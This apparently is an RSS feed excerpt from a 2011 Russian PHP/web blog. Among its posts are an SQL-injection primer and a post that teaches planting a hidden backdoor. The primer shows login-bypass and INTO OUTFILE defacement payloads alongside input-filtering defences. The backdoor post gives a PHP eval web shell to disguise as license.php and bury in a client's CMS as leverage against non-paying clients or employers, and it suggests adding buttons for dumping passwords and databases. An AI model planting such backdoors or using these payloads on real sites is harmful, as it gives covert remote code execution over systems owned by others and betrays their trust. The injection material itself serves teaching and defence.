			<content:encoded><![CDATA[<p><img style="border-right-width: 0px; margin: 30px 10px 25px 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="SQL injection" border="0" alt="SQLinjection SQL инъекции и как от них защититься" align="left" src="http://shublog.ru/content/uploads/2011/04/SQLinjection.jpg" width="321" height="198" /> Вот и весна пришла, настоящая. На улице уже давно плюс, всё почти растаяло, хорошо, свежо… А значит на носу сессии и сдачи проектов для освобождения от головных болей летом. Вот и я во всё это погружен, хотя нашёл время чиркнуть пару строк.</p>
<p>Сегодня я затрону давно обещанную тему про SQL инъекции (не прошло и полгода… или прошло… – <em>прим.ред.</em>). Я постараюсь описать их как можно проще и покажу основный приёмы от их защиты (если конечно то, что я опишу, можно охарактеризовать как приёмы).</p>
<p>Прежде, чем начать, я хотел бы сослаться на википедию. Там выложена довольно неплохая статья про SQl injection, с которой стоит ознакомиться. В своей статье я опишу всё немного иначе, затрону то, чего там нет, но скорее всего в чём-то и повторюсь, но думаю в этом ничего криминального нет. Итак…</p>
<p> <span id="more-1370"></span>
<p align="justify"><strong>SQL инъекции</strong> очень распространены, чем-то похожи на XSS-атаки (подробнее в статье <a href="http://shublog.ru/php/kak-zashhititsya-ot-xss-ataki-i-ustranit-uyazvimost/" target="_blank">&quot;Как защититься от XSS атаки и устранить уязвимость&quot;</a>), и основаны они на внедрении произвольного SQL-кода в какой-либо запрос (даже совсем безобидный), в результате чего злоумышленник получает из базы данных необходимую ему секретную информацию (ну, или просто удаляет всё к едрёной бабушке – <em>прим.ред.</em>).</p>
<p align="justify">Рассмотрим простой пример, чтобы показать как работают инъекции. Примитивный запрос формы авторизации – пользователь вводит логин и пароль, а далее идёт сравнение введённых данных с теми, что есть в базе данных.</p>
<div class="coding_block">SELECT * FROM users WHERE login = &quot;$_POST['login']&quot; AND passw = &quot;$_POST['passw']&quot;</div>
<p align="justify">В случае, когда переданные параметры не проверяются, можно творить, что угодно. К примеру, вместо логина можно ввести <em>admin&quot;/*</em>, а в качестве пароля что угодно (иди не вводить ничего), тогда запрос будет выглядеть так:</p>
<div class="coding_block">SELECT * FROM users WHERE login = &quot;admin&quot;/* AND passw = &quot;&quot;</div>
<p align="justify">И такой запрос пройдёт как валидный и пользователь зайдёт под ником admin. Почему? <em>/*</em> – является началом комментария, и, в отличие от PHP, его необязательно закрывать. Вот и всё.</p>
<p align="justify">&#160;</p>
<p align="justify">Отсюда лезет <strong>вывод</strong> – <strong><u>необходимо проверять введённые данные</u></strong>, в первую очередь на уровне PHP. На уровне JavaScript тоже неплохо проверять, но только как дополнение к проверке на PHP. Возьмём тот же пример с проверками на JavaScript. Вроде бы ничего ввести не можем, НО. К примеру, у нас включён register_globals (подробнее в статье <a href="http://shublog.ru/php/pochemu-opasno-vklyuchat-parametr-php-register_globals/" target="_blank">&quot;Почему опасно включать параметр register_globals&quot;</a>), тогда в адресную строку нужно лишь тупо дописать ?login=admin&quot;/* и всё, результат тот же самый.</p>
</p>
<p>&#160;</p>
<h4 align="center">Защита от SQL injection</h4>
<p align="justify"><strong>Числовые строки</strong></p>
<p align="justify">Начну с простого, с числовой строки. Если мы передаём число, то чтобы в него ничего не внедрили, необходимо, чтобы все символы, кроме числовых, были выкинуты. Два способа:</p>
<ul>
<li>
<div align="justify">Показываем сценарию, что переданное значение именно число.
<div class="coding_block">$number = (int)$_POST['number'];</div>
<p> Минус этого метода (или не минус, кому как) следующий – если передаётся не число, то в переменную $number&#160; попадёт нолик. Страшного тут ничего нет, но только в случае, если есть какая-то секретная нулевая запись. Впрочем, сценарий всегда можно переписать, проверив, является ли значение нулём.</p></div>
</li>
<li>
<div align="justify">Замена по регулярному выражению, где обрубается всё, кроме цифр.
<div class="coding_block">$number = preg_replace (&quot;/[^0-9]/&quot;, &quot;&quot;, $_POST['number']); </div>
</p></div>
</li>
</ul>
<p align="justify"><strong>Текстовые строки</strong></p>
<p align="justify">С текстовыми строками не всё так просто. Конечно, если нужны только буквы и цифры, то все остальные символы можно спокойно отрубить регэкспом: </p>
<div class="coding_block">$string = preg_replace (&quot;/[^a-zA-Z0-9]/i&quot;, &quot;&quot;, $_POST['string']); </div>
<p> Но иногда всякие скобочки, галочки бывают реально нужны. Что делать?
</p>
<p align="justify">Есть некоторые символы, которые ни в коем случае нельзя разрешать. По крайней мере напрямую, ведь всегда можно пробежаться регуляркой по тексту и заменить левые символы на спец.символы. Поговорим о вредных символах.</p>
<ol>
<li>
<div align="justify"><strong>Одинарные и двойные кавычки</strong>. Они используются в запросах для выделения. Думаю ещё из примера выше ясно, почему стоит их запрещать. В любом случае с ними заморачиваться особо и не надо, всегда есть htmlspecialchars и addslashes.</div>
</li>
<li>
<div align="justify"><strong>Знак равенства</strong>. Казалось бы обычный безобидный значок, но и он может напакостить. К примеру, имеем запрос:
<div class="coding_block">$sql = 'SELECT * FROM users WHERE id='.$id; </div>
<p> Передадим в качестве параметра&#160; <em>1 OR name=&quot;admin&quot;</em>. В результате запрос будет выглядеть как
<div class="coding_block">SELECT * FROM users WHERE id=1 OR name=&quot;admin&quot; </div>
<p> Думаю понятно, что если запретить символ равенства, то вместо <em>name=&quot;admin&quot; </em>будет name&quot;admin&quot;, а это приведёт к ошибке и запрос не пройдёт.</div>
</li>
<li>
<div align="justify"><strong>Символы комментариев</strong>. К символам комментариев относятся двойное тире и слэш со звёздочкой (его показывали в самом первом примере). Тут всё почти как с комментированием в PHP, то есть вместо двойного слэша используется двойное тире и комментит только одну строку, а слэш со звёздочкой точно также обозначен, только в SQL комментирует до конца запроса и его можно не закрывать. К примеру, есть запрос:
<div class="coding_block">SELECT * FROM users          <br />WHERE name=$id           <br />&#160; AND password=$pass </div>
<p> Если мы внедрим вместо $id значение 1-- то последняя строчка с паролем не закомментируется и инъекция не прокатит. Но всё будет иначе, если вместо двойного тире использовать /*, тогда последняя строчка закомментируется.</p></div>
</li>
</ol>
<p align="justify">&#160;</p>
<p align="justify">Помимо вытягивания и удаления информации описанными выше способами, можно спокойно слить всю информацию и базы в файл или произвести дефейс сайта. И выглядит это так</p>
<div class="coding_block">SELECT * INTO OUTFILE 'file.php'</div>
<p align="justify">Таким образом можно создать собственный сценарий на сайте и уже плясать от него. Да и если файлы сценариев доступны для записи всем, то можно произвести дефейс:</p>
<div class="coding_block">SELECT '&lt;b&gt;YOU HACKED!&lt;/b&gt;' INTO OUTFILE 'index.php'</div>
<p align="justify">&#160;</p>
<p>На сегодня всё. Берегите свои скрипты от всякой нечисти. Удачи!</p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/QbPg8zrvtwI" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/php/sql-inekcii-i-zashhita-ot-nikh-dlya-chajjnikov-i-kipyatilnikov/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		<feedburner:origLink>http://shublog.ru/php/sql-inekcii-i-zashhita-ot-nikh-dlya-chajjnikov-i-kipyatilnikov/</feedburner:origLink></item>
		<item>
		<title>Backdoor – страховка от нечестных клиентов</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/PVFqaR6wn_4/</link>
		<comments>http://shublog.ru/php/backdoor-strakhovka-ot-nechestnykh-klientov/#comments</comments>
		<pubDate>Thu, 31 Mar 2011 15:12:37 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Важные мелочи]]></category>
		<category><![CDATA[Красивости, интересности, полезности]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[полезности]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1367</guid>
		<description><![CDATA[Помнится в статье &#34;10 советов и рекомендаций по заказу сайта&#34; я упоминал случай, когда нечестный клиент решил кинуть нас даже несмотря на то, что работали вместе больше полутора лет. После того, как мы узнали, что нам ничего не выплатят, мы не смогли даже вернуть себе сайты, так как ни одной лазейки в них не осталось.
 [...]]]></description>
			<content:encoded><![CDATA[<p>Помнится в статье &quot;10 советов и рекомендаций по заказу сайта&quot; я упоминал случай, когда нечестный клиент решил кинуть нас даже несмотря на то, что работали вместе больше полутора лет. После того, как мы узнали, что нам ничего не выплатят, мы не смогли даже вернуть себе сайты, так как ни одной лазейки в них не осталось.</p>
<p><img style="border-right-width: 0px; margin: 0px 0px 0px 10px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Backdoor – страховка от нечестных клиентов" border="0" alt="key Backdoor &ndash; страховка от нечестных клиентов" align="right" src="http://shublog.ru/content/uploads/2011/03/key.jpg" width="233" height="244" /> Однако меня спало то, что в одном из сайтов у меня остался небольшой &quot;запасной вход&quot;, благодаря которому я не думал развиться второму сайту и вылезти в свет. И выглядел этот вход в виде простой формы загрузки файлов на сервер. </p>
<p>С её помощью я загружал на сайт нужные скрипты и запускал их на сайте, а они, в свою очередь, делали свою грязную работу. Минус у этой двери был один – ей мог воспользоваться кто угодно, если, конечно, знал о её существовании.</p>
<p>Прошло время, и несмотря на то, что до сегодняшнего дня всё идёт гладко, это не исключает того, что такая петрушка может повториться вновь.</p>
<p>В принципе, можно использовать и старый метод с отправкой исполняемого файла на сервер, но… Зачем эти сложности, если можно сделать всё проще. </p>
<p>Я предлагаю варианты и идеи простейшего бэкдурова, на случай если действительно возникнут проблемы. Итак…</p>
<p>&#160;</p>
<ol>
<li>Создаём файл php и называем его как-нибудь неприметно, типа license.php или ещё как. </li>
<li>Пишем в нём код
<div class="coding_block">&lt;?php        <br />&#160;&#160; if ( isset($_POST['text']) )         <br />&#160;&#160;&#160;&#160;&#160; eval ($_POST['text']);         <br />?&gt;         <br />&lt;form method='POST'&gt;         <br />&#160;&#160; &lt;textarea name='text'&gt;&lt;/textarea&gt;         <br />&#160;&#160; &lt;input type='submit'&gt;         <br />&lt;/form&gt;</div>
</li>
<li>Помещаем файл куда-нибудь подальше вглубь cms-ки, например, в дебри WYSIWYG-редактора. При желании дублируем файл ещё в 2-3 места (на всякий пожарный) </li>
</ol>
<p>Вот он, каркас для безобразий. Полагаю, не нужно пояснять, что функция eval приводит в исполнение набранный в форме код.</p>
<p>Это всего лишь каркас, который может иметь множество примеров реализации. Допустим, можно через highlight_file вывести содержание какого-нибудь файла с паролями, к которому нет прямого доступа. Можно подключиться к базе данных, считать содержание или изменить его. А можно и вовсе напечатать скрипт удаления всего на сервере, почему бы и нет.</p>
<p>Чуть ниже я предлагаю идеи для дополнения этой дверцы, которые можно сделать по желанию – оставлю тебе, дорогой читатель, в качестве необязательного домашнего задания. Но если вдруг будет желание – с радостью гляну на то, что получилось.</p>
<p><strong><u>Идеи для улучшения</u></strong>:</p>
<ol>
<li>Вообще было бы неплохо, чтобы дверь не была доступна каждому, и сделать для неё авторизацию, к примеру, через обычный .htaccess, ну, или средствами PHP на основе сессий (а лучше и то, и другое – <em>прим.ред.</em>).</li>
<li>Имея авторизацию, можно вообще заготовить ряд кнопочек, кликая по которым можно вызывать тот или иной скрипт. К примеру, заходишь ты в свою дверцу, а там кнопки – считать пароли, считать базу данных, удалить административную панель и так далее.</li>
<li>Ещё идеи? </li>
</ol>
<p>&#160;</p>
<p><strong>Напоследок</strong>&#160;</p>
<p>Использовать дверку есть смысл тогда, когда сдаёшь сайт до выплаты (бывает), или когда работаешь в фирме, и хочешь подстраховаться. В первом случае, когда выплата производится, то дверку можно удалить, а можно и оставить, правда не думаю, что она уже понадобится. А во втором случае – придётся держать её наготове постоянно. </p>
<p>На сегодня всё. Буду рад Вашим идеям и предложениям на тему! До новых встреч</p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/PVFqaR6wn_4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/php/backdoor-strakhovka-ot-nechestnykh-klientov/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		<feedburner:origLink>http://shublog.ru/php/backdoor-strakhovka-ot-nechestnykh-klientov/</feedburner:origLink></item>
		<item>
		<title>Как скопировать текст в буфер по нажатию кнопки? ZeroClipboard!</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/CohRGgixHvw/</link>
		<comments>http://shublog.ru/javascript/kak-skopirovat-tekst-v-bufer-po-nazhatiyu-knopki-zeroclipboard/#comments</comments>
		<pubDate>Thu, 24 Mar 2011 16:26:21 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1362</guid>
		<description><![CDATA[Иногда случается, что просто очень было бы здорово, чтобы была возможность что-то скопировать со страницы по нажатию на одну клавишу. Когда? Ну, к примеру, для чего-нибудь в админке, или для копирования блока кода на сайте. Конечно, можно обойтись простым выделением с CTRL+C, но когда речь идёт об удобстве и юзабилити, то нужен другой способ.
Увы, но [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">Иногда случается, что просто очень было бы здорово, чтобы была возможность что-то скопировать со страницы по нажатию на одну клавишу. Когда? Ну, к примеру, для чего-нибудь в админке, или для копирования блока кода на сайте. Конечно, можно обойтись простым выделением с CTRL+C, но когда речь идёт об удобстве и юзабилити, то нужен другой способ.</p>
<p align="justify">Увы, но на жабаскрипте сделать подобное, и причём кроссбраузерно, практически нереально (если вообще реально – <em>прим.ред.</em>). Всё дело в том, что функция копирования в буфер просто исключена из большинства браузеров из-за её небезопасности.</p>
<p align="justify">Представьте, заходите вы на сайт и опа, у вас в буфере метр порнухи в текстовом виде. Не прикольно? Полагаю нет, хотя кому то это может даже и на руку бы было. Но ладно, это баловство. А что, если скрипт не копирует, а читает из буфера, а там пароль какой-нибудь с логином, или номер кредитки, или ещё чего?</p>
<p align="justify"><img style="border-right-width: 0px; margin: 10px 0px 0px 10px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="ie-bug" border="0" alt="iebug Как скопировать текст в буфер по нажатию кнопки? ZeroClipboard!" align="right" src="http://shublog.ru/content/uploads/2011/03/iebug.jpg" width="285" height="100" /> Хотя есть один браузер, очень замечательный такой браузер, у которого эта функция частично реализована и работает. И это, тадам, Internet Explorer (кто бы сомневался – <em>прим.ред.</em>). Простым навешиванием на кнопку события с copyToClipboard('id_of_input'), мы сможём копировать то, что надо. Конечно, эта функция кроме ишака не работает.</p>
<p align="justify">А что же делать, если оно приспичило и надо? Ну, как говорится, что когда нельзя и очень хочется, то можно. Если нельзя копировать на JavaScript'е, то воспользуемся флэшом, который это может. </p>
<p align="justify">Итак, представляю вашему вниманию <strong>ZeroClipboard</strong>. Он состоит из файла скрипта и файла прозрачной флэшки. Скрипт привязывает флэшку к нужной нам кнопке и задаёт соответствующий размер. И когда мы будем нажимать (или просто наводить) на флэшку, то будет происходить копирование в буфер.</p>
<p align="justify">Не буду голословным и перейду к делу (и ты это говоришь после страницы текста? – <em>прим.ред.</em>). Предлагаю для скачки архив с сайта разрабочика и ссылку на описание от xiper,net – там очень доходчиво расписаны все функции плагина. Я, в свою очередь, поделюсь своим примером и некоторыми замечаниями по работе с плагином, чтобы вы, дорогие читатели, были в теме.</p>
<div><noindex><a class="but_info" href="http://www.xiper.net/collect/js-plugins/ui/zeroclipboard.html" rel="nofollow" target="_blank">&#160;</a> <a class="but_download" href="http://code.google.com/p/zeroclipboard/downloads/list" rel="nofollow" target="_blank">&#160;</a> <a class="but_sample" href="http://shublog.ru/examples/2011.03.24-zeroclipboard/demo.html" rel="nofollow" target="_blank">&#160;</a> </noindex></div>
<p align="justify">&#160;</p>
<p align="justify">Итак, а теперь о некоторых минусах плагина:</p>
<ul>
<li>
<div align="justify">Самый большой минус плагина заключается в следующем. К примеру, есть поле textarea, из которого я хочу скопировать содержимое. Нажимаем, копируется. Вроде бы хорошо, НО. Если я внесу изменения в поле, то изменения скопированы не будут, будет скопирован лишь изначальный текст, увы. Обойти эту тему может и возможно, но я не пробовал.</div>
</li>
<li>
<div align="justify">Если запускать пример просто из папки на компе – он не работает. Особо не заморачивался, но пришлось пример поднимать на сервере. Мелочь, а неприятно</div>
</li>
<li>
<div align="justify">Если флэшплеер на компе не установлен, работать плагин, ясен перец, не будет.</div>
</li>
</ul>
<p align="justify">Вот пожалуй и всё. Если всё таки копирование понадобится, плагин есть, правда со своими небольшими ограничениями. Могу лишь добавить, что аналога лучше я не встречал, так что используйте на здоровье.</p>
<p align="justify">Пишите мнения на тему копирования, приходилось ли сталкиваться с этим вопросом и как вы его решали! Буду рад обсудить и пообщаться!</p>
<p> С вами был ШуБложник в хорошем настроении – Александр. До новых встреч!   </p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/CohRGgixHvw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/javascript/kak-skopirovat-tekst-v-bufer-po-nazhatiyu-knopki-zeroclipboard/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://shublog.ru/javascript/kak-skopirovat-tekst-v-bufer-po-nazhatiyu-knopki-zeroclipboard/</feedburner:origLink></item>
		<item>
		<title>Backup SQL базы при наличии только FTP доступа</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/doqN75S-zv4/</link>
		<comments>http://shublog.ru/php/backup-sql-bazy-pri-nalichii-tolko-ftp-dostupa/#comments</comments>
		<pubDate>Thu, 17 Mar 2011 17:27:27 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1353</guid>
		<description><![CDATA[Иногда случается, что по тем или иным причинам клиент не даёт доступы к phpMyAdmin'у и cPanel'и, или собирается дать, но тянет резину (или резинку – прим.ред.), и при всём этом доступы к базе тебе нужны срочно. Тут на помощь приходит один замечательный скрипт, который всё делает за нас – Sypex Dumper.
Конечно, он и без этих [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">Иногда случается, что по тем или иным причинам клиент не даёт доступы к phpMyAdmin'у и cPanel'и, или собирается дать, но тянет резину (или резинку – <em>прим.ред.</em>), и при всём этом доступы к базе тебе нужны срочно. Тут на помощь приходит один замечательный скрипт, который всё делает за нас – <strong>Sypex Dumper</strong>.</p>
<p align="justify">Конечно, он и без этих ситуаций с клиентом очень неплохой скрипт. Если нужно по-быстрому сделать бэкап базы, то вуаля. Работает он побыстрее всех аналогов, а на сайте разработчиков заявлено, что база в гигабайт берётся без проблем. Интерфейс дружелюбный.</p>
<p align="justify">На выбор есть версия попроще и посложнее, на вкус и на цвет. В общем, рекомендую.</p>
<div><noindex><a class="but_info" href="http://sypex-dumper.ru/" rel="nofollow" target="_blank">&#160;</a> <a class="but_download" href="http://sypex-dumper.ru/skachat.html" rel="nofollow" target="_blank">&#160;</a> </noindex></div>
<p>&#160;</p>
<p>&#160;</p>
<p>В довесок поделюсь<strong> cheat-sheet'ом по jQuery 1.5</strong>. Качаемс</p>
<div><noindex><a class="but_download" href="http://woorkup.com/content/uploads/2011/02/jQuery-1.5-Visual-Cheat-Sheet.pdf" rel="nofollow" target="_blank">&#160;</a> </noindex></div>
<p>&#160;</p>
<p>&#160;</p>
<p>И напоследок небольшая (1920х1200) обоина.</p>
<p><a href="http://shublog.ru/content/uploads/2011/03/wallpaper_www_1920x1200.jpg"><img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="www" border="0" alt="wallpaper www 1920x1200 thumb Backup SQL базы при наличии только FTP доступа" src="http://shublog.ru/content/uploads/2011/03/wallpaper_www_1920x1200_thumb.jpg" width="560" height="374" /></a></p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/doqN75S-zv4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/php/backup-sql-bazy-pri-nalichii-tolko-ftp-dostupa/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://shublog.ru/php/backup-sql-bazy-pri-nalichii-tolko-ftp-dostupa/</feedburner:origLink></item>
		<item>
		<title>HTML5 и CSS3 уже сегодня! Часть 2. Подборка интересных и практичных примеров</title>
		<link>http://feedproxy.google.com/~r/shublog/~3/iQVJel7g85U/</link>
		<comments>http://shublog.ru/html-and-css/html5-i-css3-uzhe-segodnya-chast-2-podborka-interesnykh-i-praktichnykh-primerov/#comments</comments>
		<pubDate>Wed, 09 Mar 2011 19:24:16 +0000</pubDate>
		<dc:creator>Александр Шуйский</dc:creator>
				<category><![CDATA[HTML&CSS]]></category>
		<category><![CDATA[Красивости, интересности, полезности]]></category>
		<category><![CDATA[css3]]></category>
		<category><![CDATA[html5]]></category>

		<guid isPermaLink="false">http://shublog.ru/?p=1346</guid>
		<description><![CDATA[Прежде всего поздравляю всех читательниц с прошедшим 8 марта. Счастья вам, успехов и, самое главное, побольше любви, особенно взаимной =).
Сегодня я хочу поделиться с Вами собранной коллекцией всяких плюшек на HTML5 и CSS3. Я их раскидал по группам, так что каждый найдёт себе что-нибудь по вкусу. Итак…
Прежде всего скину несколько сайтов-помощников, которые помогают построить градиенты, [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">Прежде всего поздравляю всех читательниц с прошедшим 8 марта. Счастья вам, успехов и, самое главное, побольше любви, особенно взаимной =).</p>
<p align="justify">Сегодня я хочу поделиться с Вами собранной коллекцией всяких плюшек на HTML5 и CSS3. Я их раскидал по группам, так что каждый найдёт себе что-нибудь по вкусу. Итак…</p>
<p align="justify">Прежде всего скину <em>несколько сайтов-помощников</em>, которые помогают построить градиенты, закруглить углы, сделать тень и так далее.</p>
<p align="justify">&#160;</p>
<p align="center"><strong>Помощники для построение свойств CSS3</strong></p>
<ol>
<li>
<div align="justify"><noindex><strong><a href="http://css3.mikeplate.com/" rel="nofollow" target="_blank">CSS3 MikePlate</a></strong></noindex>. На этом сайте можно опробовать всевозможные варианты работы с CSS3, включая box-shadow, transform, column-count, gradient и прочее.</div>
</li>
<li>
<div align="justify"><noindex><a href="http://oga2.opengameart.org/gradient/" rel="nofollow" target="_blank"><strong>OGA2 Gradient</strong></a></noindex>. А на этом сайте можно развлекаться исключительно с градиентами – строим то, что надо и получаем код.</div>
</li>
<li>
<div align="justify"><noindex><strong><a href="http://www.colorzilla.com/gradient-editor/" rel="nofollow" target="_blank">ColorZilla Gradient Editor</a></strong></noindex>. аналог предыдущего сайта, только выполнено в стили фотошопа, есть в наличии пресеты, а код при всём при том заточен и под ишак.         <br /><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="colorzilla" border="0" alt="colorzilla HTML5 и CSS3 уже сегодня! Часть 2. Подборка интересных и практичных примеров" src="http://shublog.ru/content/uploads/2011/03/colorzilla.jpg" width="538" height="205" /> </div>
</li>
<li>
<div align="justify"><noindex><strong><a href="http://westciv.com/tools/shadows/" rel="nofollow" target="_blank">Westciv Shadows</a></strong></noindex>. На этом сайте предоставляется возможность работать с text-shadow. Создаём текст, оформляем его, задаём сколько нужно теней и вуаля.</div>
</li>
<li>
<div align="justify"><noindex><strong><a href="http://border-radius.com/" rel="nofollow" target="_blank">Border-Radius.com</a></strong></noindex>. Здесь, как уже ясно, работаем с border-radius. </div>
</li>
</ol>
<p>&#160;</p>
<p align="center"><strong>Штуковина!</strong></p>
<p>Эту страницу пущу отдельно. <noindex><a href="http://joshduck.com/periodic-table.html" rel="nofollow" target="_blank"><strong>Josh Duck – Periodic Table</strong></a></noindex>. Она представляет собой <em>&quot;Периодическую&quot; таблицу элементов HTML5</em>, сделанную, как это ни странно, на HTML5. Помимо того, что стильно, так ещё и полезно – можно кратко прочитать для чего какой элемент нужен.</p>
<p><img style="border-right-width: 0px; display: block; float: none; border-top-width: 0px; border-bottom-width: 0px; margin-left: auto; border-left-width: 0px; margin-right: auto" title="Table HTML5" border="0" alt="ptable HTML5 и CSS3 уже сегодня! Часть 2. Подборка интересных и практичных примеров" src="http://shublog.ru/content/uploads/2011/03/ptable.jpg" width="554" height="330" /> </p>
</p>
<p> <span id="more-1346"></span>
<p>&#160;</p>
<p align="center"><strong>Интересные примеры</strong></p>
<ol>
<li>
<div align="justify"><noindex><a href="http://miketaylr.com/css/x-browserish-tilt-shift.html" rel="nofollow" target="_blank"><strong>Tilt Shift</strong></a></noindex>. Одна из первых страничек, попавшихся мне на глаза. Любопытный пример изменения шрифта.         <br /><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Shift CSS3" border="0" alt="tilt HTML5 и CSS3 уже сегодня! Часть 2. Подборка интересных и практичных примеров" src="http://shublog.ru/content/uploads/2011/03/tilt.jpg" width="554" height="157" /> </div>
</li>
<li>
<div align="justify"><noindex><a href="http://csswizardry.com/css3-timer/" rel="nofollow" target="_blank"><strong>CSS3 Timer</strong></a></noindex>. Таймер на CSS3 отсчитывает часы, минуты и секунды.</div>
</li>
<li>
<div align="justify"><noindex><strong><a href="http://www.zurb.com/playground/css-boxshadow-experiments" rel="nofollow" target="_blank">CSS Boxs-Shadow Experiments</a></strong></noindex>. Сам сайт zurb.com кишит интереснейшими примерами на CSS3. Это ссылка на эксперименты с box-shadow. Вообще сайт на заметку.         <br /><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="box-shadow" border="0" alt="boxshad HTML5 и CSS3 уже сегодня! Часть 2. Подборка интересных и практичных примеров" src="http://shublog.ru/content/uploads/2011/03/boxshad.jpg" width="541" height="261" /> </div>
</li>
<li>
<div align="justify"><noindex><strong><a href="http://csswizardry.com/demos/lukes-beard-social-icons/" rel="nofollow" target="_blank">CSS3 Social Icons</a></strong></noindex>. Иконки социальных сетей на CSS3.         <br /><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="social icons css3" border="0" alt="socialicons HTML5 и CSS3 уже сегодня! Часть 2. Подборка интересных и практичных примеров" src="http://shublog.ru/content/uploads/2011/03/socialicons.jpg" width="543" height="69" /> </div>
</li>
<li>
<div align="justify"><noindex><a href="http://boxtuffs.com/" rel="nofollow" target="_blank"><strong>Boxtuffs</strong></a></noindex>. Немногочисленные. но очень любопытные примеры. Что-то я в будущем даже упру к себе.</div>
</li>
</ol>
<p>&#160;</p>
<p align="center"><strong>Скачать</strong></p>
<ol>
<li><noindex><a href="http://lab.simurai.com/css/buttons/" rel="nofollow" target="_blank"><strong>CSS3 Buttons</strong></a></noindex>. CSS3 кнопочки       <br /><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; margin-left: 0px; border-left-width: 0px; margin-right: 0px" title="bonbon buttons css3" border="0" alt="bonbon HTML5 и CSS3 уже сегодня! Часть 2. Подборка интересных и практичных примеров" src="http://shublog.ru/content/uploads/2011/03/bonbon.jpg" width="286" height="92" /> </li>
<li><noindex><strong><a href="http://www.css3menu.com/" rel="nofollow" target="_blank">CSS3 Menu</a></strong></noindex>. CSS3 менюшечки       <br /><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; margin-left: 0px; border-left-width: 0px; margin-right: 0px" title="css3 меню" border="0" alt="css3menus HTML5 и CSS3 уже сегодня! Часть 2. Подборка интересных и практичных примеров" src="http://shublog.ru/content/uploads/2011/03/css3menus.jpg" width="356" height="120" /> </li>
</ol>
<p>&#160;</p>
<p>И напоследок несколько ссылок на любопытные сайты/страницы, идеи из которых являются хорошей пищей для ума.</p>
<p align="center"><strong>Поглазеть</strong></p>
<ol>
<li><noindex><a href="http://www.nevermindthebullets.com" rel="nofollow" target="_blank"><strong>Nevermind The Bullets</strong></a></noindex>. Комикс на CSS3. Пожалуй лучший сайт на CSS3. Пользы от него мало, но нереально стайловый.       <br /><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="comix" border="0" alt="comix HTML5 и CSS3 уже сегодня! Часть 2. Подборка интересных и практичных примеров" src="http://shublog.ru/content/uploads/2011/03/comix.jpg" width="554" height="214" /> </li>
<li><noindex><a href="http://onotakehiko.com/webkitclock" rel="nofollow" target="_blank"><strong>Webkit Clock</strong></a></noindex>. Часовые пояса на карте мира. Прикольная штука.       <br /><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="webkit clock" border="0" alt="webkitclock HTML5 и CSS3 уже сегодня! Часть 2. Подборка интересных и практичных примеров" src="http://shublog.ru/content/uploads/2011/03/webkitclock.jpg" width="554" height="164" /> </li>
<li><noindex><a href="http://mrdoob.com/projects/chromeexperiments/ball_pool/" rel="nofollow" target="_blank"><strong>Ball Pool</strong></a></noindex>. Бассейн с шариками. Не сайт, а залипалово – сидишь и валяешь дурака.       <br /><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="ball pool css3" border="0" alt="ballpool HTML5 и CSS3 уже сегодня! Часть 2. Подборка интересных и практичных примеров" src="http://shublog.ru/content/uploads/2011/03/ballpool.jpg" width="554" height="158" /> </li>
<li><noindex><a href="http://www.smashingmagazine.com/2010/07/12/css3-design-contest-results/" rel="nofollow" target="_blank"><strong>CSS3 Design Contest Results</strong></a></noindex>. Ещё двадцак конкурсных интереснейших примеров от Smashing Magazine. </li>
</ol>
<p>&#160;</p>
<p>&#160;</p>
<p>На сегодня всё! Всем удачи, скоро увидимся!</p>
<img src="http://feeds.feedburner.com/~r/shublog/~4/iQVJel7g85U" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://shublog.ru/html-and-css/html5-i-css3-uzhe-segodnya-chast-2-podborka-interesnykh-i-praktichnykh-primerov/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
